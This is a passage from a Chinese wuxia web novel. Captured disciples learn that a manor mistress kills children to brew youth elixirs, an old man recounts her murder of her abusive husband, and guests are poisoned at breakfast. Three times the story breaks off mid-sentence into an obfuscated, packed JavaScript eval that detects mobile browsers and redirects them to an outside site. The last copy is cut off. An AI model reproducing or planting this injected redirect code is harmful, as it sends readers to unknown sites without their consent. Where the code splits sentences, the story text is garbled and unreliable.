几个人迈出巷子，往街上走去，洛纤凝一边走，一边道:“奇了怪了，这沐灵泽和沐辰风死哪儿去了？” 鬼使神差的，她吼道:“他们俩该不会去逛青楼了吧？！！” “阿嚏！” 漆黑的地牢里，沐灵泽一个喷嚏把自己给震醒了。 “我说什么来着，不属于自己的东西，不能碰。”他瘫在墙角，自言自语道，余光瞥见沐辰风在一旁睡得不省人事，他气得伸长了腿就要踹他一脚，结果发现自己浑身上下都被铁链绑着，跟只蚕蛹似的，根本动弹不得。 他只好像条虫一样，一点一点地挪了过去，用脚丫子去踢沐辰风:“醒醒！沐辰风！别晕了，快醒一醒！” “嘶——”沐辰风眉心微动，下一瞬就睁开了眼睛，“这是哪儿？阿泽，我的头好疼……话说她们打我们头干什么？！” 沐灵泽懒得理他，扭动脖颈朝四周环顾了起来。 这是一间密不透风的铁牢，四壁冰冷而坚硬，不，并非密不透风，上面有一个窄小的通风口，能容纳一个成年人的两只眼睛。 沐灵泽闭了闭眼，蓦地想起了被打晕前，闻辛的那句话。 她说，要用他和沐辰风的血和骨髓去炼温染的长生不老药！ 原来所谓的驻颜丹，竟是用人的血和骨髓炼成！还有长生不老药，她们竟然还想炼长生不老药！ 这还了得！必须想办法阻止她们！ 一旁的沐辰风哭哭啼啼道:“阿泽，我对不起你，都怪我，要不是因为我贪恋驻颜丹，你也不会被我连累到这种鬼地方……阿泽，你打我吧……” “行了别嚎了！”沐灵泽不胜其烦道，“现在嚎有什么用？！” “你没听辛姐姐说，要拿我们的血和骨髓炼什么长生不老药么？我们马上就要死了，你就让我嚎个痛快吧，呜呜呜……” 沐灵泽:“……” 烦死了。 “阿泽！”沐辰风突然停止了哭声，看着沐灵泽道，“你说乌县丢孩子那事，该不会也是辛姐姐她们干的吧？” 沐灵泽:“……不知道，但我猜，很有可能是她们干的。” “不是可能，就是她们干的！” 一个中年男人略显沧桑的声音突然插了进来，两个人不由一愣。 “……鬼啊！！！”沐辰风惊叫道。 “不是鬼，是人！”中年男人一本正经地纠正道。 “你是什么人？！”沐灵泽左顾右盼，提高声音问道，“你为什么会在这儿？你也被关起来了么？” 听声音，好像就在他们隔壁。 中年男人道:“我叫秦牧。” “秦牧？”沐灵泽将脸贴在墙壁上，似乎想起了什么，急忙问道:“莫非你是秦叔？百草山庄的副庄主？！” “不错，是我。” “可是杨大哥不是说，你离家出走，下山游历去了么？！”沐辰风道，“你怎么会在这儿？！” 秦牧苦笑一声，道:“原来这个毒妇是这么跟冲儿说的。” 毒妇？兄弟俩心想，这个毒妇指的是温染吧？秦牧究竟与温染发生了何事，会被温染关到这里？ 秦牧好像很悠闲，他说:“辛儿说找了两个人陪我聊天解闷，原来是两个少年人啊，只可惜年纪轻轻，就要命丧黄泉喽！唉，可惜啊！” “……” 真是哪壶不开提哪壶。 兄弟俩一下就萎靡了起来。 过了一会儿，沐灵泽道:“秦叔，那你是怎么被关到这里的？” 秦牧叹了口气，道:“说来话长啊！” 原来早在半年前，秦牧就发现温染在用幼童的血炼驻颜丹，他苦口婆心劝温染停止造孽，结果温染根本不听，还打算用长生不老药来迷惑他。 “什么？！你还想炼长生不老药？！你疯了不成？！”他才不相信这世上会有长生不老药这种东西，为了以防她犯下更多的错，他威胁她:“你要是再不听我的劝告，我就只能去官府告发你了！” 果然，温染听了这话，立时害怕了起来，说她以后再也不干这事了。 他以为温染是真的改了，没成想她竟是假意答应他，背后在他的吃食里下毒！ 等他醒来后，就躺在这儿了。 “岂有此理？！”沐辰风气愤道，“这个温庄主，简直笑里藏刀！亏我刚开始还以为她是个好人，没想到她竟然用活人的血来炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048253|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的驻颜丹！还想炼长生不老药！人怎么能残忍到这种地步？！我要是早知道驻颜丹是用这种方法炼成的，我才不稀罕呢！” 秦牧声音悲戚道:“本来那个毒妇打算杀了我，是辛儿为我求的情。我没想到，我和她这么多年的情谊，她竟然……竟然一丝旧情都不顾！” 沉默片刻，忽然又想起什么，沐灵泽道:“秦叔，我听杨大哥说，你喜欢温庄主，是真的么？” “嗐！”秦牧似乎有些不好意思，“谁年轻的时候没喜欢过几个人，不过说实话，我秦牧这辈子，就只喜欢过这毒妇一个人。” “……” 兄弟俩面面相觑，心道这秦叔还挺痴情的。 沐灵泽道:“秦叔，那你们是怎么认识的？说出来给我们听听呗。” 秦牧原本不想讲，毕竟他和温染的事说出来不太光彩，但想了想，还是道:“也罢，反正你们也快死了，我也不知道能活到什么时候，就讲给你们听听吧！就是……有些不太光彩。” 不太光彩？ 这下兄弟俩更好奇了，全然忘记了他们马上要被炼成丹了。 沐辰风伸长耳朵道:“怎么个不光彩法？” 秦牧咳嗽了一声，道:“其实，我是在青楼认识的那个毒妇……” “什么？！”沐灵泽惊讶道，“秦叔，你怎么还逛青楼呢？！” 这算什么痴情？！ “不是我！”秦牧解释道，“是陪我的结拜大哥去的，就是冲儿的父亲，杨开！” 沐灵泽:“……哦，原来是杨大哥的父亲。那温庄主又为什么在青楼？！难道她是……” 他的直觉告诉他，这三个人的关系应该很不简单。 果然，接下来秦牧的话正好印证了他的猜测。 秦牧不疾不徐道:“你猜的不错，温染她原本是名青楼女子，不仅如此，她还是当时名动一时的花魁。 “那一年，我陪大哥出门游历，途径槐县时，听说那里有一家青楼，名叫花满楼，花满楼里有一个花魁，不仅模样倾国倾城，更是弹得一手好琵琶，舞跳得也好。 “大哥他一向风流，怎会错过如此美事，当即便带着我一起前往花满楼。 “那是我第一次见温染，天呐，我发誓，我从来没有见过那么好看的女人，什么这个花魁那个花魁，加起来都不及她的万分之一。那个时候，她不叫温染，叫蝶舞。我当时心想，这个名字取得真好，因为她跳起舞来简直太好看了，就像一只蝴蝶，马上就要飞起来了。 “我看见她的第一眼，就喜欢上她了，可是她满心满眼都是我大哥。当时可把我给伤心坏了，我心想我这个人虽然长得不怎么样，但论德论行，我比我大哥靠谱多了吧？怎么就没有女人喜欢我呢？ “但不得不承认，我这个大哥，除了样貌好看，会武功以外，还会医术，唯一的不足就是见一个爱一个。我以为这次也一样，可没想到他竟然破天荒地说他想成亲，他想给蝶舞赎身，他想娶蝶舞！ “我当时被他吓得不轻，我心想这个女人到底有什么魅力，能让我大哥这么一个浪荡子收心？直到有一天夜里，我从外面回来，经过他俩房间时，看见蝶舞，不，那个时候她已经叫温染了，我看见她拿着医书在向我大哥请教问题，期间一直夸我大哥有多厉害，她从来没有见过像我大哥一样厉害的男人…… “我那个时候才想明白，原来我大哥喜欢给漂亮的女人当老师啊！ “那天以后，温染说她想在城里开一家医馆，给穷苦百姓看病。我大哥二话不说就答应了，还在我面前夸温染有多聪明，多善良，说他果然没娶错人之类的。 “我那个时候以为，我大哥是真的喜欢温染，我对温染也就彻底死心了，想真心祝福他俩，可惜后来……” “后来怎么了？”见秦牧迟迟不语，沐灵泽和沐辰风迫不及待地追问道。 秦牧长叹了一口气。 34. 人间22 后来，温染成功地在乌县开了一家医馆，每日在医馆里坐诊，用最低的价钱给穷苦百姓看病。只可惜她生得实在太过貌美，引来了无数男人的觊觎，那些男人一有空闲，就来找温染看病。 有一次，杨开来找温染，入目便是温染在给一个男人把脉，而那男人则趁机用手指去摸温染的手…… 杨开登时大怒，冲进去就给了那男人一脚，随后拉着温染回了家，喝令她关了医馆，以后不准再出去。 杨开痛打病人一事，正好被很多人撞见，没几日便谣言四起，说是百草山庄的女主人和外面的男人勾搭不清，开医馆也是为了方便偷男人，结果那天太不巧了，被杨开给发现了…… 杨开听信了这些谣言，于是日日流连青楼，彻夜不归家，即便归家也是和温染争吵不休。 一日，温染又一次提起了开医馆一事，杨开气急，一个巴掌甩了过去，骂道:“贱人！你还有脸跟我提这件事！你知不知道外面那些百姓都是怎么说你的？！他们说你不知廉耻！说你开医馆是为了方便偷男人！我的脸都被你丢尽了！！” “我没有！”温染瞪着杨开，为自己辩解道。 “你还敢瞪我！”杨冲对准温染的脸又是一个巴掌，直接将人打倒在了地上，“说！冲儿是不是我儿子？！” 温染没料到他会这么问，一时气得说不出话来，可在杨开看来，她却是心虚，不敢说话。 杨开大笑道:“说话啊！你怎么不说话？！果然，一日为娼妓，终生为娼妓！” 羞辱完温染，杨开提着刀就要去砍杨冲，守在门外的秦牧见状，赶忙上去将人拦住，劝道:“大哥！你这是做什么？！冲儿他千真万确就是你儿子啊！” 杨开不信，吼道:“那个小畜生和我长得一点都不像！一看就不是我儿子！老子要砍了他！你起开！” 秦牧又道:“可是他长得也不像其他男人啊！他长得像嫂子啊！万一他真的是你儿子，你砍死自己的亲生儿子，你良心过得去么？！” 杨开这才冷静了下来，扔了刀大步朝外走去，想来又是去青楼了。 秦牧冲进房间想要安慰温染，结果刚进去就看见温染不知道从哪儿找了条白绫，悬在房梁上打算上吊。 “嫂子！”他大喊一声，连忙扑过去将人抱了下来。 温染被秦牧抱在怀里，死命挣扎道:“你放开我！让我死了算了！即便我今日死不成，总有一日能死成！” “你不能死！”秦牧抓住温染的双手，再也无法抑制自己内心的冲动，向她倾诉衷肠道:“嫂子，你不能死！大哥他不愿意珍惜你，我愿意！” “……你胡说八道什么呢？”温染被秦牧给吓到了，也没心情上吊了，推开人就跑了出去。 那天之后，秦牧以为杨开会收敛一些，可是没有。每次回来后他都喝得酩酊大醉，不是让温染跳舞给他看，就是让她弹琵琶给他听。 温染倔强地瞪着杨开，说她讨厌跳舞，讨厌弹琵琶。 杨开被温染给气到了，拿起鞭子就开始抽她，一口一个娼妓，若非秦牧和闻辛阻拦，杨开早已将人打死。 某日，杨开又开始犯浑，被正在外面练武的闻辛听到了，闻辛拿着剑就闯了进去…… 不多时，杨开便拎着闻辛从房间里出来，找到秦牧，让他把闻辛送走。 秦牧纳闷道:“好端端的，为何要将辛儿送走？大哥，你是不是又打嫂子了？” “我打我的女人，干你什么事？！”杨开怒道，“这小兔崽子简直反了天了，竟然想砍死我！马上把她给我扔出去！不要逼我亲自动手！” 秦牧不肯，道:“大哥你有所不知，辛儿她可是百年一遇的武学奇才，你让我把她送走，我怎么舍得？你放心大哥，我待会儿一定好好教训她，日后她若再敢对你动手，我亲自把她扔下山！” 杨开无法，只好道:“你最好说到做到！不然我不介意替你教训她！” 杨开走后，秦牧拉住闻辛问道:“你这孩子怎么回事？怎么能对长辈动手呢？我平日里是怎么教你的？！” 怎料闻辛无动于衷，盯着杨开离去的方向，面色阴沉道:“早晚有一日，我一定要杀了他！” “混账！”秦牧实在没忍住，扬手给了闻辛一个耳光，“他是我大哥！以后你要是再敢对他不敬，我就先杀了你！” 这天夜里，秦牧被闻辛的话气得翻来覆去难以入睡，忽然听见外面有人敲门，他翻下床榻去开门，来人竟是温染！ “嫂、嫂子，你怎么来了？”秦牧受宠若惊道，紧接着，他就发现了不对劲，“嫂子，你脸怎么了？是不是我大哥又打你了？” 温染没有说话，而是直接扑到了秦牧的怀里。 秦牧惊得半晌说不出话来，良久之后，他抱起温染，一脚踹上了门。 床榻之上，秦牧抚摸着温染背上的伤痕，对她说:“我们走吧，去一个没有人认识我们的地方，做一对神仙眷侣，你觉得怎么样？” 温染愣了一下，道:“可是冲儿怎么办？他还那么小，他不能没有母亲。” “那我们就带冲儿一起走，离开这儿！”秦牧语气坚决。 温染犹豫不决，道:“我再想想。” 秦牧开心不已。 他以为自己很快就会携美人远走高飞，但事与愿违，几日后的一天夜里，他与温染厮混在一起时，房门被人从外一脚踹开。 “大哥？！” 对于杨开的到来，秦牧始料未及。他披上衣裳从床榻上滚了下来，还未来得及辩解，杨开就冲了过来，抓住温染的头发，将她从榻上拽了下来。 “好啊！你这个不要脸的娼妓！竟然又勾引我兄弟！看我今天不杀了你！”说着拔出手中的剑就要杀了温染，秦牧赶忙扑了过去，双手紧紧抓住杨开的手臂，大声道:“大哥！是我先勾引的嫂子！你要杀杀我好了！” “你以为我不敢么？！”杨开一脚踹开温染，抓住秦牧的衣襟，厉声道:“秦牧，你扪心自问，从小到大，我可曾亏待过你半分？！你为何如此待我？！为何？！！” “因为我喜欢她！”秦牧跪在地上，用恳求的目光望着杨开，“大哥，你根本就不爱她！就当弟弟求你了，你把她送给我吧！反正你的女人多得是！” “多得是也不是你的！”杨开一脚踹在秦牧的胸口上，又上前几步按住他的肩膀，“兄弟妻不可欺！秦牧，你这是在逼我！我在兄弟和女人之间选择了你，可是你呢？！” “大哥！你这辈子爱过那么多女人，可弟弟只爱这一个！从小到大，弟弟没求过你什么事，只求你能高抬贵手，把她送给我！我发誓，以后我们两个再也不会出现在你面前，你就放我们走吧大哥！” “你要带她走？！” “是！我要带她走！大哥若想杀她，就先从我的尸体上踏过去！” “你敢威胁我？好，好得很，秦牧，我答应你，从此以后，我们恩断……” 杨开的话还未说完，一柄利刃就贯穿了他的身体，从他的胸口捅了出来。 秦牧瘫在地上，望着面前鲜红的剑尖，失声叫道:“大哥！！！” 原来温染自知杨开不会放过她，便趁兄弟二人争辩时，悄悄拔出剑架上的剑，朝杨开走了过来。而秦牧整个人被杨开宽大的身躯挡着，自然而然也就没有看到温染。 杨开倒在了地上，就此咽了气。 秦牧从地上爬了起来，抓住温染的肩膀大吼道:“为什么？！他都已经答应要放我们走了！你为什么要杀了他？！！” “因为我恨他！”温染歇斯底里地朝秦牧吼了回去，“我恨他！我恨死他了！我这一身的伤全都是拜他所赐，我为什么不能杀他？！就算他答应要放我们走，我也不会和你走的，你们男人，我一个也不信！” 秦牧气极，掐住温染的脖颈，狠声道:“你没想过要和我走？！” “没有！”温染目光坚定，毫不退缩，“秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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真是想什么就来什么，她这话刚说完，闻辛就端着一碟点心和一壶酒进来了。 “几位忙了一晚上，想必饿了吧？”闻辛言笑晏晏地站在三个人的旁边，打算给三个人倒酒。 “辛姐姐！”洛纤凝眼前一亮，问道:“辛姐姐，今天怎么是你亲自给我们送早饭？” 闻辛晃了晃手中的酒壶，道:“这是我义母昨日刚酿好的酒，我觉得好喝，特意拿来给你们尝尝，顺便给你们送些吃的。” “温庄主还会酿酒？”柳惜朝略显惊讶道。 “当然会了，”闻辛扬唇笑道，“我义母她什么都会。柳公子可要尝尝？” 柳惜朝礼貌一笑，道:“闻姑娘专程跑一趟，我自然不好拒绝，不过还是我自己来吧。”说着伸手将酒壶接到自己手中，取来桌上的酒杯，给自己满上了一杯。 “二位妹妹不想尝一下么？”见洛纤凝和林惜英只吃点心不喝酒，闻辛忍不住问道。 洛纤凝咬着点心道:“多谢辛姐姐的好意，不过我和我师姐不喜欢喝酒，太难喝了，你们喝吧。” 闻辛不慌不忙道:“这是果酒，用葡萄酿成的，二位妹妹不尝一下，那真是太可惜了。” “果酒？”洛纤凝疑惑道，又去看柳惜朝，“大师兄，好喝么？” 柳惜朝笑着点头:“确实好喝，没想到温庄主不仅会医术，还会酿酒，还酿得这么好，在下佩服。” “那我也尝一尝！”洛纤凝忙不迭给自己斟了一杯，尝了一下，果然好喝。又放下酒杯，给林惜英也斟了一杯，递了过去:“师姐，好喝，你也尝尝，比外面的酒好喝多了！” 林惜英:“好。” 三个人吃着点心，喝着美酒，洛纤凝道:“对了辛姐姐，你有没有看见沐灵泽和沐辰风？” 闻辛摇头:“没有，他们昨夜不是和你们一起去抓贼了么？怎么没看见他们？” “别提了！”洛纤凝翻着白眼道，“昨天晚上他们俩就不见了，我们三个人和杨大哥找了半天都没找到他们人，也不知道死哪儿去了！” “会不会是回家了？”闻辛试探着问。 “不可能！”柳惜朝斩钉截铁道，“我相信沐师弟的为人，他绝对不可能一句话都不给我们留下，就悄无声息地离开，白白让我们担心。你们先吃，我再去周围找找他们。” 35. 人间23 柳惜朝走后，闻辛望着面前大吃大喝的洛纤凝，和细嚼慢咽的林惜英，忽然道:“不知二位妹妹可还记得，昨日我给你们讲的那个故事？” 洛纤凝盯着手中花花绿绿的点心，漫不经心地问道:“就是那个小女孩的故事？” “对，其实，我忘了告诉你们，那个故事的结局。” “结局不是母亲病死了，小女孩离家出走了么？”洛纤凝瞅了一眼闻辛，见她神色有些不对劲，想了想，道:“莫非……是小女孩父亲的结局？” 闻辛:“对，是小女孩父亲的结局。” 洛纤凝:“什么结局？辛姐姐，你不是说你不知道么？” 闻辛微微一笑，慢悠悠道:“那是我骗你的，其实真正的结局是，小女孩亲手杀死了自己的父亲，就在母亲病死后不久。” 洛纤凝和林惜英正吃得开心，闻言脸上一僵，酒也不喝了，点心也不吃了。 她们感觉闻辛这话很是奇怪，但又说不上来哪儿怪。 闻辛声音平静，仿佛在讲述一件与自己无关的事:“小女孩趁父亲夜里喝醉酒时，提着菜刀摸进了父亲的房间，将父亲的整个头颅都砍了下来，然后把自己脸上的血洗得干干净净，拿着父亲刚赌来的钱财，从此隐姓埋名，踏上了流亡之路。” 洛纤凝倒抽了一口凉气。 她想起了她自己的六岁。那个时候，她应当正在捉虫子吓唬刚来到长绝山的林惜英，然后被琼芳长老拎去翠竹峰反省了整整三个月，又或者拿狗尾巴草挠柳惜朝和陆惜名的鼻孔，再或者和林惜英一起放风筝…… 六岁？一个六岁的孩子，哪来的胆子敢做出杀人这种事？而且杀的还是自己的亲生父亲，即便她的父亲不是什么好东西，但这还是太过匪夷所思！ 闻辛恍若未觉姐妹俩的异样，自顾自继续道:“有人六岁无忧无虑，有人六岁提刀弑父，多可悲，多可怜啊。洛姑娘，你们说，这个小女孩是不是很可怜？” 洛纤凝不知道该怎么回答这个问题，直到看清闻辛眼底的悲凉，才后知后觉道:“辛姐姐，这个小女孩不会就是你吧？” 闻辛盯着桌上的酒，沉默不语。 林惜英道:“你为什么要把这件事告诉我们？你难道不怕我们去报官么？” “你们不会的。”闻辛无比从容道。 “为什么？”洛纤凝奇怪道，“辛姐姐，你就这么相信我们？” 她的确不会去报官，因为这个父亲简直禽兽不如，死有余辜！她只是觉得闻辛有些可怕，哪有人小小年纪就敢对自己亲生父亲动手的？还是将整个头颅都砍下来。她都不敢，虽然她没有爹。 “因为……” 闻辛盯着姐妹二人，突然笑了起来，笑容阴鸷又诡异。 她说:“你们马上就要变成死人了，告诉你们又有何妨？” 洛纤凝一时没反应过来，皱眉道:“辛姐姐，你这话是什么意思？什么叫我们马上就要变成死人了？我们活得好好的，活蹦乱跳的，怎么可能……” 正说得起劲，就听见一阵剧烈的咳嗽声从耳边传来，洛纤凝扭头一看，登时脸色大变:“师姐！你怎么了？！你怎么吐血了？！” “……酒里有毒！”林惜英忍着剧痛站起身来，将洛纤凝朝后拉了一步。虽然她早已知晓闻辛话中何意，但她还是不明白，她的动机是什么？她和阿凝如何得罪她了，以至于她想毒死她们？ 她立刻封住自己身上的各个穴位，以防毒侵入五脏六腑，再去看阿凝……竟无任何异常！ 这不可能，明明阿凝先她一步喝的酒，莫非她的酒里没毒？闻辛忘记下毒了？ 她还未来得及询问，就看见洛纤凝挡在自己面前，大声道:“辛姐姐，你这是做什么？你为什么要在我们的酒里下毒？！我们哪儿得罪你了？！” “你们没有得罪我！”闻辛声音冷冽，如同她的眼睛，“要怪就怪你们非要多管闲事！”说罢拔出腰间的软剑就要将二人解决，却忽然一怔，盯着洛纤凝道:“不对，你怎么没中毒？” “……对唉，”洛纤凝看了看面色惨白的林惜英，又看了看一脸茫然的闻辛，“我为什么没中毒？” “这不可能！”闻辛不可置信道，“我义母的制毒之术，天下无双！你怎么可能……怎么可能会好好的？！” 话音刚落，柳惜朝就出现在了房门外，扶着门框，有气无力道:“阿凝！惜英！酒里有毒！” “废话少说！拿解药来！”洛纤凝看了眼柳惜朝，拔出凌云剑就朝闻辛砍了过去。 没时间问这问那了，救林惜英和柳惜朝要紧。 “我师姐和大师兄要是死了，你就去给他们培葬！” 两个人从屋里一直打到屋外，闻辛一吹口哨，众弟子霎时间全都聚了过来，将三个人团团围住。 柳惜朝道:“闻姑娘，你这是做什么？为何要对我们动手？！还有我那两位师弟，是不是也是你们干的？！” “不错！”闻辛大方承认道，“他们去了不该去的地方，看到了不该看的东西，死有余辜！” 洛纤凝眉心一蹙，喝道:“说！你把沐灵泽他们俩怎么了？！还有，他们俩到底看见什么了？！” “还能怎么？当然是杀了炼丹了！”闻辛只回答了第一个问题。 “什么？！”洛纤凝瞪大眼睛道，“你拿他们炼丹？！” 苍天啊，真的假的？那么大的两个人，被炼成了那么小的两颗丹？他们俩到底看见什么了？她越发好奇了。 “就算他们俩看见什么，那这和我们有什么关系？！他们两个现在已经不是我们长绝山的弟子了，你既然已经杀了他们，又何必再杀我们？！” 不管了，先撇清关系，保命要紧。 闻辛道:“还不是因为你们要多管闲事！” 洛纤凝道:“我们多管什么闲事了？！” 刚才她就想问闻辛，怎料被中途打断。 闻辛:“废话少说！去死吧你们！！” 刀剑之声乍起，惊得杨冲刚喝到嘴边的茶水险些洒落到身上。 杨冲望着外面，道:“娘，你听外面是什么声音？” 刚才他从外面回来，正打算休息一会儿，然后去找柳惜朝他们商量接下来该怎么办，结果还没睡一会儿，就听见温染在外面敲门，说想和他说说话。 温染立在窗前，闭了闭眼，道:“一群废物！杀个人而已，竟搞出这么大阵仗！” 手中的茶杯“咣当”一声掉在了地上，杨冲起身走到温染身边，不明白温染这话是什么意思:“娘，你在说什么？什么杀人？你们在杀谁？” 温染将目光从窗外收回，落在了杨冲身上，郑重其事道:“冲儿，娘问你，如果娘让你在娘和柳公子之间选一个，你会选谁？” “……娘，你为什么会这么问？你们到底在干什么？” 温染抬起手，轻轻地搭在杨冲的肩上，语气温柔，与往常别无二致:“事到如今，娘就跟你说实话吧，反正早晚有一天你要知道的。”她顿了顿，道:“乌县丢孩子那事，是娘干的，娘的驻颜丹，是用那些孩子的血炼成的。不仅如此，娘还打算炼长生不老药，到时你我母子，不老不死，犹如神仙……” “不！！！”杨冲声音发颤，打断温染的话。 他不敢再听下去。 他连忙朝后退去，却一个趔趄跌在了地上。 他想起了那个小狐狸口中的黑衣女子，原来是辛姐姐！ 他从未觉得自己的母亲像今日这般可怕过，明明以前的她是那样的温柔，那样的善良。 “娘你疯了？！你怎么可能会是那么残忍的人？！你以前不是这样的！！” 他终于反应过来，温染方才的话是什么意思了。 他问她:“所以你要杀了柳兄他们？因为他们要插手这件事？你怕被他们查出来？” 温染闭目不语。 杨冲从地上爬了起来:“不，我要去救他们……” “冲儿！”温染喊住他，“你现在赶过去已经来不及了，他们中了毒，不过是困兽犹斗罢了，活不了多久了！” 然而杨冲早已跑远了。 林惜英和柳惜朝中了毒，方才又强行运功，早已体力不支，口吐鲜血，连剑都拿不稳。 若非洛纤凝没有中毒，只怕他们三人此刻早已命丧黄泉，哪还等得到杨冲。 他们现在唯一的指望就是杨冲了。 闻辛看着面前即将站不稳的两个人，得意道:“别白做挣扎了，此毒乃是由我义母亲手所制，这世间除了她，没有人能解开。当然，你们的那位剑仙也许可以，但，来不及了。我劝你们不要强行运功，否则只会死得更快！” 洛纤凝悲愤道:“辛姐姐，枉我们拿你当朋友，你怎么能如此对我们？！” 她没料到闻辛的功夫竟这样好，出手又快又准又狠，堪比林惜英。 若非今日她被逼上绝路，断不可能是她的对手。 闻辛眼里闪过一丝愧疚，道:“对不住了各位，要怪就怪你们，挡了我义母的路！” 几十柄利刃对准三人，正要再刺过来，就听杨冲的声音远远地传了过来:“住手！都给我住手！！” 三个人顿时松了口气。 杨冲再不来，他们就真的要死了。 “住手！辛姐姐，我不允许你伤害他们！”杨冲气喘吁吁地挡在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058076|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人的面前，对闻辛说道，“你想杀他们，就先杀了我！” 闻辛道:“冲弟，你可知我今日若不杀他们，他日死的就是我和义母！” 杨冲想了想，道:“要不这样，我们放了他们，他们也不去官府告发你们。”他转过身，抓住柳惜朝的胳膊恳求道:“好不好柳兄？你给我娘和辛姐姐一个改过自新的机会，我保证，她们以后不会再干这事了。” 事已至此，柳惜朝如何能不知晓这其中的蹊跷。他问杨冲:“告发？告发什么？莫非她们当真在拿活人炼丹？乌县丢失的那些幼童，都与她们有关，是么？” “不错！都是我干的！”温染快步走了过来，身后跟着青黛、半夏、白芷和茯苓四姐妹。 众弟子本就在窃窃私语，听见温染这话，忙上前问道:“庄主！您真的在拿活人炼丹？！” “对啊庄主！您怎么能干这种伤天害理的事呢？！这万一要是被官府发现了，那些百姓不得把咱们百草山庄给踏平了？！” “慌什么？！”温染站在台阶上，居高临下地看着众弟子，“你们别忘了，你们的解药在我手里，不好好听话，那就和我一起死吧！” “什么？！”洛纤凝惊道，“温庄主，你怎么还给自己人下毒呢？！” 用这种办法来驱使他人为自己效忠，只怕注定不得长久。 温染丝毫不去搭理洛纤凝，看向众弟子，发布命令道:“杀了他们！杀了他们，就没有人知道这件事是我们干的！难道你们不想和我一样，容颜永驻，长生不老么？！” 众弟子面面相觑，交头接耳道:“长生不老？真的假的？” 温染道:“当然是真的了！我温染何时骗过你们？！我说我炼得出来，就一定能炼得出来！给我杀了他们！否则他们若将此事告知官府，我们全都得死！” 众弟子不再犹豫，纷纷举剑刺向三人。 “住手！”杨冲大喝道，“我是少庄主！你们得听我的！都给我滚！”又奔到温染跟前，道:“娘，我刚才已经和柳兄商量好了，他不会去官府揭发你们的，娘，我求你了，你就放过他们吧，好不好？” “是么？”温染看了眼杨冲，提高声音问柳惜朝:“柳公子，你说，倘若我今日放了你，你会去官府还有百姓跟前揭发我们么？” 柳惜朝想都未想便道:“当然会了！温庄主，你为了一己之私，草菅人命！我劝你最好立刻随我去见官，没准还能从轻发落！” 洛纤凝眼睛一闭，低声道:“我的大师兄啊，你就不能变通一下么？保命要紧啊！” 林惜英道:“放心，即便我们答应她，她也不会放我们走的。” “……” 洛纤凝彻底死心了。 “瞧瞧，”温染耸了耸肩，看向杨冲，“这可是你的柳兄自己找死，可就怪不得为娘了。动手！把他们几个全都给我杀了！” “不、不要！”眼看闻辛和众弟子又去围攻柳惜朝他们，杨冲赶忙冲了过去，夺过一名弟子的剑，道:“有我在，我看你们谁敢动他们！” 温染恨铁不成钢地看着杨冲，真想下去给他一耳光，把他打醒。 闻辛面无表情道:“把少庄主给我请回去！” “我看谁敢！”杨冲将剑架在自己脖子上，狠声道:“娘，辛姐姐，放他们走！否则我死给你们看！” 闻辛愣在原地，不知该作何反应。 柳惜朝讶然道:“杨兄，你大可不必如此！” 杨冲语带哀求道:“柳兄，我求你答应我，出去之后，不要揭发我娘好不好？我保证她以后一定改过自新！” 柳惜朝沉默不语。 就在三个人以为温染会放他们一条生路时，却见温染大步迈下台阶，走到杨冲跟前，扬手就甩了杨冲一个耳光。 杨冲整个人都呆了一下，紧接着，就听温染呵斥道:“吃里扒外的东西！要死死一边去！”又看向闻辛:“动手！杀了他们！一个不留！他要死就让他去死！别拦他！” 所有人都被温染这句话给震惊到了，包括闻辛。他们没有想到，温染竟然连自己的亲生儿子都不在乎。 “……娘！”杨冲心如死灰，“为什么？！” 温染懒得理他，走到闻辛跟前，压低声音道:“怎么回事？你没给他们下毒么？让你杀个人你都干不好！” 闻辛急忙解释道:“我也不知道，我明明在酒里下了毒，但洛姑娘她就是没有中毒，否则我早就……” “废物！“温染一点都不想再听闻辛狡辩，转身朝台阶上走去。 闻辛觉得自己委屈极了，因此她再次与洛纤凝交战时，出手更狠了，哪怕杨冲横在她面前，她也毫不手软。 36. 人间24 兄弟二人费了好大的工夫才将身上的铁链挣脱，开始四处寻找能够出去的办法，可是沿着墙壁找了半天，什么都没有找到。 秦牧道:“别白费功夫了，机关在外面呢，你们出不去的。” “那怎么办？”沐辰风哭丧着脸道，“总不能就这样等死吧？我还年轻，我不想死，呜呜呜……” 沐灵泽趴在铁墙上朝外望去，但由于通风口太小，视野太过狭窄，他什么都没有看到，只看到对面也是铁墙。 就在他放弃挣扎，打算乖乖等死之时，忽然，铁墙“哗”的一声开始颤动了起来，吓得他立刻将手从墙上移开，并朝后连退好几步。 “怎么回事？”沐辰风赶忙溜到沐灵泽身后躲了起来，“这墙怎么还会动啊？” 沐灵泽道:“废话，当然会动了，不然我们是怎么进来的？” 沐辰风:“……” 当然是被人打晕扔进来的呗。 兄弟二人一动不动地看着面前那道铁墙缓缓升起，缓缓地露出了墙外那人白色的靴子，素色的衣衫，最后终于缓缓地露出了那人的脸——青黛！ 沐灵泽皱着眉头道:“青黛姐姐？” 沐辰风道:“你你你……你们又想干嘛？” 不会现在就要把他们拖出去炼丹吧？不过话说怎么只有她一个人？ 怎料青黛并不想理会他们，扔下一句:“你们快走吧，快去救柳公子他们。”便朝旁边走去，按下了机关。 